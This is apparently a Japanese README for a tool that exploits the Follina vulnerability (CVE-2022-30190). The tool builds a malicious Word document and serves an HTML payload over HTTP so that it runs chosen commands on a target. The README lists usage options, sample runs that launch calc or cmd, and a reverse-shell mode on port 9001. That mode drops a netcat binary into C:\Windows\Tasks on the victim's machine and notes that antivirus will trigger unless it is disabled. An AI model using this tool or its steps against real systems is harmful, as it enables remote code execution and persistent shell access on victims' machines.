
FOLLINA-CVE-2022-30190 の実装
FOLLINA-CVE-2022-30190 の実装
このリポジトリには、脆弱性 FOLLINA-CVE-2022-30190 の悪用ツールが含まれています。
このツールは、セキュリティテストおよび研究目的で開発されました。 本ツールをクローン/フォークした場合、元の開発者は行為者の行動に対する一切の責任を負いません。
悪意のある Microsoft Word 文書を使用して "Follina" MS-MSDT 攻撃を作成し、HTTP サーバーでペイロードをステージングします。
usage: exploit.py [-h] [--command COMMAND] [--output OUTPUT] [--interface INTERFACE] [--port PORT]
options:
-h, --help show this help message and exit
--command COMMAND
command to run on the target (default: calc)
--output OUTPUT
output maldoc file (default: ./follina.doc)
--interface INTERFACE
network interface or IP address to host the HTTP server (default: eth0)
--port PORT
port to serve the HTTP server (default: 8000)
calc.exe を起動:
$ python3 exploit.py
[+] copied staging doc /tmp/9mcvbrwo
[+] created maldoc ./cve202230190.doc
[+] serving html payload on :8000
cmd.exe を起動:
$ python3 exploit.py --command "cmd"
ポート 9001 でリバースシェルを取得します。注意: これにより、被害マシンに netcat バイナリがダウンロードされ、C:\Windows\Tasks に配置されます。バイナリのクリーンアップは行われません。AV が無効でない限り、アンチウイルス検出がトリガーされます。
$ python3 exploit.py --reverse 9001